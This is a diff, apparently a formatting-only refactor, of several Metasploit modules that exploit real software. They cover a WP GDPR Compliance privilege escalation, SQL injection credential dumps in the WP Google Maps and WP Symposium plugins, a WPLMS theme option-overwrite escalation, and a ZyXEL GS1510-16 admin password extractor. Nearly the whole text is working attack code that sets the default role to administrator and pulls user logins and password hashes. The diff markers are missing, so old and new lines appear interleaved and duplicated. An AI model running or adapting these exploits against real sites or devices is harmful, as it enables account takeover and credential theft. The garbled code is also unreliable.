The vulnerability is present in WordPresss admin-ajax.php, which allows unauthorized
users to trigger handlers and make configuration changes because of a failure to do
capability checks when executing the 'save_setting' internal action.
The vulnerability is present in WordPresss admin-ajax.php, which allows unauthorized
users to trigger handlers and make configuration changes because of a failure to do
capability checks when executing the 'save_setting' internal action.
WARNING: The module sets Wordpress configuration options without reading their current
values and restoring them later.
},
'Author' =>
[
WARNING: The module sets Wordpress configuration options without reading their current
values and restoring them later.
},
'Author' => [
'Mikey Veenstra (WordFence)', # Vulnerability discovery
'Thomas Labadie' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild/'],
['CVE', '2018-19207'],
['WPVDB', '9144']
],
'Notes' =>
{
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => [CONFIG_CHANGES]
},
'DisclosureDate' => '2018-11-08'
))
'DisclosureDate' => '2018-11-08'
)
)
register_options [
OptString.new('EMAIL', [true, 'Email for registration', nil]),
@ -58,14 +57,14 @@ class MetasploitModule < Msf::Auxiliary
def set_wp_option(name, value, ajax_security)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_post' => {
'action' => 'wpgdprc_process_action',
'security' => ajax_security,
'data' => "{\"type\":\"save_setting\",\"append\":false,\"option\":\"#{name}\",\"value\":\"#{value}\"}"
}
)
}
)
res && res.code == 200
end
@ -73,8 +72,8 @@ class MetasploitModule < Msf::Auxiliary
def run
print_status('Getting security token from host...')
wp_home_res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path
'method' => 'GET',
'uri' => target_uri.path
)
unless wp_home_res && wp_home_res.code == 200
@ -99,13 +98,13 @@ class MetasploitModule < Msf::Auxiliary
print_warning('Setting the default user role type to administrator...')
unless set_wp_option('default_role', 'administrator', ajax_security)
print_error("Failed to set the default user role")
print_error('Failed to set the default user role')
return
end
print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
unless (datastore['EMAIL'] =~ URI::MailTo::EMAIL_REGEXP) && wordpress_register(datastore['USER'], datastore['EMAIL'])
print_error("Failed to register user")
print_error('Failed to register user')
return
end

View File

@ -6,10 +6,10 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
def initialize(_info = {})
super(
'Name' => 'WordPress Google Maps Plugin SQL Injection',
'Description' => %q{
'Name' => 'WordPress Google Maps Plugin SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability in a REST endpoint
registered by the WordPress plugin wp-google-maps between 7.11.00 and
7.11.17 (included).
@ -17,42 +17,42 @@ class MetasploitModule < Msf::Auxiliary
As the table prefix can be changed by administrators, set DB_PREFIX
accordingly.
},
'Author' =>
[
'Thomas Chauchefoin (Synacktiv)', # Vulnerability discovery, Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-10692'],
['WPVDB', '9249']
],
'DisclosureDate' => '2019-04-02'
'Author' => [
'Thomas Chauchefoin (Synacktiv)', # Vulnerability discovery, Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2019-10692'],
['WPVDB', '9249']
],
'DisclosureDate' => '2019-04-02'
)
register_options(
[
OptString.new('DB_PREFIX', [true, 'WordPress table prefix', 'wp_'])
])
]
)
end
def send_sql_request(sql_query)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'rest_route' => '/wpgmza/v1/markers',
'filter' => '{}',
'fields' => "#{sql_query}-- -",
'fields' => "#{sql_query}-- -"
}
)
return nil if res.nil? || res.code != 200 || res.body.nil?
res.body
end
def check
mynum = "#{Rex::Text.rand_text_numeric(8..20)}"
mynum = Rex::Text.rand_text_numeric(8..20).to_s
body = send_sql_request(mynum)
return Exploit::CheckCode::Unknown if body.nil?
return Exploit::CheckCode::Vulnerable if body.include?(mynum)
@ -75,14 +75,14 @@ class MetasploitModule < Msf::Auxiliary
if body.empty?
print_error("#{peer} - Failed to retrieve the table #{datastore['DB_PREFIX']}users")
else
loot = store_loot("wp_google_maps.json","application/json", rhost, body.to_s)
loot = store_loot('wp_google_maps.json', 'application/json', rhost, body.to_s)
print_good("Credentials saved in: #{loot}")
end
body.each do |user|
print_good("#{peer} - Found #{user['user_login']} #{user['user_pass']} #{user['user_email']}")
connection_details = {
module_fullname: self.fullname,
module_fullname: fullname,
username: user['user_login'],
private_data: user['user_pass'],
private_type: :nonreplayable_hash,

View File

@ -7,32 +7,33 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Symposium Plugin SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability in the WP Symposium plugin
before 15.8 for WordPress, which allows remote attackers to extract credentials
via the size parameter to get_album_item.php.
},
'Author' =>
[
'PizzaHatHacker', # Vulnerability discovery
super(
update_info(
info,
'Name' => 'WordPress Symposium Plugin SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability in the WP Symposium plugin
before 15.8 for WordPress, which allows remote attackers to extract credentials
via the size parameter to get_album_item.php.
},
'Author' => [
'PizzaHatHacker', # Vulnerability discovery
'Matteo Cantoni <goony[at]nothink.org>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['CVE', '2015-6522'],
['EDB', '37824']
],
'DisclosureDate' => '2015-08-18'
))
'DisclosureDate' => '2015-08-18'
)
)
register_options(
[
OptString.new('URI_PLUGIN', [true, 'The WordPress Symposium Plugin URI', 'wp-symposium'])
])
]
)
end
def check
@ -48,15 +49,14 @@ class MetasploitModule < Msf::Auxiliary
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => uri_complete,
'method' => 'GET',
'uri' => uri_complete,
'vars_get' => { 'size' => sql_query }
)
return nil if res.nil? || res.code != 200 || res.body.nil?
res.body
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
vprint_error("#{peer} - The host was unreachable!")
return nil
@ -83,31 +83,31 @@ class MetasploitModule < Msf::Auxiliary
vprint_status("#{peer} - Last user-id is '#{last_id}'")
end
credentials = ""
credentials = ''
vprint_status("#{peer} - Trying to retrieve the users informations...")
for user_id in first_id..last_id
separator = Rex::Text.rand_text_numeric(7,bad='0')
separator = Rex::Text.rand_text_numeric(7, bad = '0')
user_info = send_sql_request("concat_ws(#{separator},user_login,user_pass,user_email) from wp_users where id = #{user_id} ; --")
if user_info.nil?
vprint_error("#{peer} - Failed to retrieve the users info")
return
else
values = user_info.split("#{separator}")
values = user_info.split(separator.to_s)
user_login = values[0]
user_pass = values[1]
user_pass = values[1]
user_email = values[2]
print_good("#{peer} - #{sprintf("%-15s %-34s %s", user_login, user_pass, user_email)}")
print_good("#{peer} - #{sprintf('%-15s %-34s %s', user_login, user_pass, user_email)}")
connection_details = {
module_fullname: self.fullname,
username: user_login,
private_data: user_pass,
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED,
proof: user_email
module_fullname: fullname,
username: user_login,
private_data: user_pass,
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED,
proof: user_email
}.merge(service_details)
create_credential(connection_details)
@ -116,7 +116,7 @@ class MetasploitModule < Msf::Auxiliary
end
unless credentials.empty?
loot = store_loot("wp_symposium.http","text/plain", rhost, credentials)
loot = store_loot('wp_symposium.http', 'text/plain', rhost, credentials)
vprint_good("Credentials saved in: #{loot}")
end
end

View File

@ -7,10 +7,11 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
'Description' => %q{
super(
update_info(
info,
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
'Description' => %q{
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows an
authenticated user of any user level to set any system option due to a lack of
validation in the import_data function of /includes/func.php.
@ -21,25 +22,25 @@ class MetasploitModule < Msf::Auxiliary
role to be administrator. This will allow for the user to create a new account
with admin privileges via the default registration page found at
/wp-login.php?action=register.
},
'Author' =>
[
'Evex', # Vulnerability discovery
},
'Author' => [
'Evex', # Vulnerability discovery
'rastating' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['WPVDB', '7785']
],
'DisclosureDate' => '2015-02-09'
))
'DisclosureDate' => '2015-02-09'
)
)
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
])
]
)
end
def check
@ -77,17 +78,17 @@ class MetasploitModule < Msf::Auxiliary
vprint_error("Failed to serialize #{value}.")
else
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_get' => { 'action' => 'import_data' },
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_get' => { 'action' => 'import_data' },
'vars_post' => { 'name' => name, 'code' => encoded_value },
'cookie' => cookie
'cookie' => cookie
)
if res.nil?
vprint_error("No response from the target.")
else
vprint_warning("Server responded with status code #{res.code}") if res.code != 200
vprint_error('No response from the target.')
elsif res.code != 200
vprint_warning("Server responded with status code #{res.code}")
end
return res
@ -99,7 +100,7 @@ class MetasploitModule < Msf::Auxiliary
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
store_valid_credential(user: username, private: password, proof: cookie)
print_good("Authenticated with WordPress")
print_good('Authenticated with WordPress')
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
print_status("Changing admin e-mail address to #{new_email}...")
@ -107,18 +108,18 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
end
print_status("Enabling user registrations...")
print_status('Enabling user registrations...')
if set_wp_option('users_can_register', 1, cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
end
print_status("Setting the default user role...")
print_status('Setting the default user role...')
if set_wp_option('default_role', 'administrator', cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
end
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
print_good("Privilege escalation complete")
print_good('Privilege escalation complete')
print_good("Create a new account at #{register_url} to gain admin access.")
end
end

View File

@ -9,7 +9,7 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'ZyXEL GS1510-16 Password Extractor',
'Name' => 'ZyXEL GS1510-16 Password Extractor',
'Description' => %q{
This module exploits a vulnerability in ZyXEL GS1510-16 routers
to extract the admin password. Due to a lack of authentication on the
@ -18,55 +18,53 @@ class MetasploitModule < Msf::Auxiliary
has reached end of life for support from the manufacturer, so it is
unlikely this problem will be addressed.
},
'References' =>
[
[ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2709' ]
],
'Author' => [
'References' => [
[ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2709' ]
],
'Author' => [
'Daniel Manser', # @antsygeek
'Sven Vetsch' # @disenchant_ch
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE
)
end
def run
begin
print_status("Trying to get 'admin' user password ...")
res = send_request_cgi({
'uri' => "/webctrl.cgi",
'method' => 'POST',
'uri' => '/webctrl.cgi',
'method' => 'POST',
'vars_post' => {
'username' => "admin",
'password' => "#{Rex::Text.rand_text_alphanumeric(rand(4)+4)}",
'action' => "cgi_login"
'username' => 'admin',
'password' => Rex::Text.rand_text_alphanumeric(rand(4..7)).to_s,
'action' => 'cgi_login'
}
}, 10)
if (res && res.code == 200)
print_status("Got response from router.")
print_status('Got response from router.')
else
print_error('Unexpected HTTP response code.')
return
end
admin_password = ""
admin_password_matches = res.body.match(/show_user\(1,"admin","(.+)"/);
admin_password = ''
admin_password_matches = res.body.match(/show_user\(1,"admin","(.+)"/)
if not admin_password_matches
if !admin_password_matches
print_error('Could not obtain admin password')
return
else
admin_password = admin_password_matches[1];
admin_password = admin_password_matches[1]
print_good("Password for user 'admin' is: #{admin_password}")
connection_details = {
module_fullname: self.fullname,
username: 'admin',
private_data: admin_password,
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
proof: res.body
module_fullname: fullname,
username: 'admin',
private_data: admin_password,
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
proof: res.body
}.merge(service_details)
create_credential_and_login(connection_details) # makes service_name more consistent
end
@ -74,5 +72,4 @@ class MetasploitModule < Msf::Auxiliary
print_error("#{rhost}:#{rport} - Failed to connect")
return
end
end
end